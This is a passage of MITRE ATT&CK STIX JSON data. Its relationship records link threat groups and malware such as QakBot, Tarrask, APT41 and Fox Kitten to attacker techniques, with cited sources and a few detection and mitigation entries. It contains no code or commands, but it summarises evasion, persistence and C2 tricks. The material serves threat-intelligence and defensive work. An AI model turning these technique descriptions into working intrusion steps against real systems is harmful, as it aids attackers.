Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-17T19:16:31.810Z", "description": "(Citation: Mandiant APT29 Eye Spy Email Nov 22)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d432f9c7-1211-4485-bac3-b35edc38d501", "type": "relationship", "created": "2020-07-04T23:30:04.892Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureWorks Mia Ash July 2017", "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash"}, {"source_name": "Microsoft Phosphorus Mar 2019", "url": "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/", "description": "Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020."}, {"source_name": "ClearSky Kittens Back 3 August 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}], "modified": "2021-09-30T19:22:48.483Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) used various social media channels (such as LinkedIn) as well as messaging services (such as WhatsApp) to spearphish victims.(Citation: SecureWorks Mia Ash July 2017)(Citation: Microsoft Phosphorus Mar 2019)(Citation: ClearSky Kittens Back 3 August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d43315b0-d708-4197-b3ed-0a0b1199e434", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}], "modified": "2020-03-16T23:58:58.750Z", "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to set certain attributes such as creation/modification timestamps on files.(Citation: CrowdStrike Putter Panda)", "relationship_type": "uses", "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d434a3c1-8960-4d47-80fc-e3002c507d94", "type": "relationship", "created": "2021-09-22T21:17:31.960Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."}], "modified": "2021-09-23T13:45:55.732Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) can execute Powershell commands sent from its C2 server.(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d452da85-b408-458f-ad25-937605de4611", "type": "relationship", "created": "2021-01-05T14:58:55.260Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Pay2Kitten December 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."}], "modified": "2021-01-05T14:58:55.260Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Amazon Web Services to host C2.(Citation: ClearSky Pay2Kitten December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d456bea1-f43c-4934-91fe-54459842f1b2", "type": "relationship", "created": "2020-09-11T14:56:37.199Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-09-11T15:11:28.365Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) can self delete its dropper after the malware is successfully deployed.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d45bcd1f-4f6e-4ff0-9bad-36cf43ab2df5", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts and/or using SAML tokens which do not have corresponding 4769 and 1200 events in the domain.(Citation: Sygnia Golden SAML). Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the credentials.(Citation: Microsoft SolarWinds Customer Guidance)", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sygnia Golden SAML", "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", "url": "https://www.sygnia.co/golden-saml-advisory"}, {"source_name": "Microsoft SolarWinds Customer Guidance", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}]}, {"type": "relationship", "id": "relationship--d45c5aa0-8f47-4ccc-b78f-48391d41ecc6", "created": "2024-03-05T21:27:45.739Z", "revoked": false, "external_references": [{"source_name": "Volexity Ivanti Zero-Day Exploitation January 2024", "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-05T21:27:45.739Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used compromised VPN accounts for lateral movement on targeted networks.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d45cd2ee-f0f6-417a-98c2-9a7e9f6dc480", "type": "relationship", "created": "2021-01-20T18:30:30.662Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-20T18:30:30.662Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has utilized various scans and queries to find domain controllers and remote services in the target environment.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d45fe5a0-f9e5-4f05-b40b-8693c8eab0f7", "created": "2022-10-13T14:47:33.362Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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Retrieved October 5, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[XCSSET](https://attack.mitre.org/software/S0658) uses the <code>plutil</code> command to modify the <code>LSUIElement</code>, <code>DFBundleDisplayName</code>, and <code>CFBundleIdentifier</code> keys in the <code>/Contents/Info.plist</code> file to change how [XCSSET](https://attack.mitre.org/software/S0658) is visible on the system.(Citation: trendmicro xcsset xcode project 2020)", "modified": "2022-04-19T21:30:20.167Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d49dcee7-6729-4b50-80ef-8100c306ffeb", "type": "relationship", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.836Z", "description": "Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior.", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d4ac3315-4b5c-4373-a7ea-0c389545f4a3", "created": "2024-01-05T20:36:21.343Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. 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(2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.", "url": "https://www.group-ib.com/blog/apt41-world-tour-2021/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-22T22:55:59.809Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) queried registry values to determine items such as configured RDP ports and network configurations.(Citation: Rostovcev APT41 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4e67bb3-dcb2-4427-a48e-d8b4bcc35afa", "type": "relationship", "created": "2022-02-17T15:04:48.816Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}], "modified": "2022-02-17T15:04:48.816Z", "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can use mshta.exe to execute an HTA file hosted on a remote server.(Citation: Symantec Shuckworm January 2022)", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4ee44c8-c389-4c02-8601-ee7c194d249e", "type": "relationship", "created": "2021-09-28T20:06:11.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Qakbot October 2020", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}, {"source_name": "Kaspersky QakBot September 2021", "url": "https://securelist.com/qakbot-technical-analysis/103931/", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}], "modified": "2021-09-30T13:49:36.151Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can Base64 encode system information sent to C2.(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4f0554e-46bb-4fd5-94e8-900dfe3198cf", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT KEYMARBLE Aug 2018", "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}], "modified": "2020-03-20T02:14:26.721Z", "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to create Registry entries for storing data under <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\WABE\\DataPath</code>.(Citation: US-CERT KEYMARBLE Aug 2018)", "relationship_type": "uses", "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4f17f68-7a50-428f-b26d-94dcbf861ec5", "type": "relationship", "created": "2021-03-24T20:25:01.303Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}], "modified": "2021-03-24T20:25:01.303Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) has been executed through malicious e-mail attachments.(Citation: Antiy CERT Ramsay April 2020)", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4f4974e-7918-4829-8379-5e2e98f2ae20", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.600Z", "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to open and copy data from the clipboard.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4f7fac4-ddc0-40fa-8b16-c61b1de30072", "type": "relationship", "created": "2019-05-10T18:57:53.099Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Chaos Stolen Backdoor", "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}], "modified": "2019-05-10T18:57:53.099Z", "description": "After initial compromise, [Chaos](https://attack.mitre.org/software/S0220) will download a second stage to establish a more permanent presence on the affected system.(Citation: Chaos Stolen Backdoor)", "relationship_type": "uses", "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d4f9d2ab-70d0-4aaf-9c7f-d94fc0818ecb", "created": "2020-03-02T19:18:20.208Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-04T13:00:50.940Z", "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links which includes phishing for consent with OAuth 2.0. Additionally, users may perform visual checks of the domains they visit; however, homographs in ASCII and in IDN domains and URL schema obfuscation may render manual checks difficult. Phishing training and other cybersecurity training may raise awareness to check URLs before visiting the sites.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d4fa4797-aec0-419b-83d8-8b06ea3ac06d", "created": "2023-09-28T13:25:51.731Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "GitHub Pacu", "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", "url": "https://github.com/RhinoSecurityLabs/pacu"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-13T16:35:51.659Z", "description": "[Pacu](https://attack.mitre.org/software/S1091) can enumerate and download files stored in AWS storage services, such as S3 buckets.(Citation: GitHub Pacu)", "relationship_type": "uses", "source_ref": "tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9", "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4faeb90-07ee-4ae2-b77d-e002418d1b22", "type": "relationship", "created": "2020-06-19T19:08:40.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}], "modified": "2020-06-22T23:46:45.341Z", "description": "[Valak](https://attack.mitre.org/software/S0476) has the ability to enumerate domain admin accounts.(Citation: Cybereason Valak May 2020)", "relationship_type": "uses", "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Arp", "description": "Microsoft. (n.d.). Arp. Retrieved April 17, 2016.", "url": "https://technet.microsoft.com/en-us/library/bb490864.aspx"}], "modified": "2021-12-07T18:27:04.790Z", "description": "[Arp](https://attack.mitre.org/software/S0099) can be used to display ARP configuration information on the host.(Citation: TechNet Arp)", "relationship_type": "uses", "source_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d507bcd4-bd22-4d39-b098-20c109ee9cda", "created": "2022-06-01T17:24:47.180Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Tarrask scheduled task", "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.", "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T14:53:05.096Z", "description": "[Tarrask](https://attack.mitre.org/software/S1011) is able to create \u201chidden\u201d scheduled tasks by deleting the Security Descriptor (`SD`) registry value.(Citation: Tarrask scheduled task)", "relationship_type": "uses", "source_ref": "malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d50a6bf2-266b-4770-809a-c1bf3e81305f", "created": "2021-09-27T20:37:38.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike Qakbot October 2020", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"}, {"source_name": "Cyberint Qakbot May 2021", "description": "Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.", "url": "https://blog.cyberint.com/qakbot-banking-trojan"}, {"source_name": "Group IB Ransomware September 2020", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021.", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp"}, {"source_name": "Trend Micro Black Basta October 2022", "description": "Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.", "url": "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}, {"source_name": "Trend Micro Qakbot May 2020", "description": "Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.", "url": "https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files"}, {"source_name": "Kroll Qakbot June 2020", "description": "Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.", "url": "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"}, {"source_name": "Trend Micro Qakbot December 2020", "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.", "url": "https://success.trendmicro.com/solution/000283381"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-16T19:55:38.446Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can use VBS to download and execute malicious files.(Citation: Trend Micro Qakbot May 2020)\n(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: Group IB Ransomware September 2020)(Citation: Trend Micro Black Basta October 2022)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d50b5687-ea69-40f9-86f3-eecd7e015bac", "type": "relationship", "created": "2019-06-14T17:11:30.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2021-08-30T19:16:11.841Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or 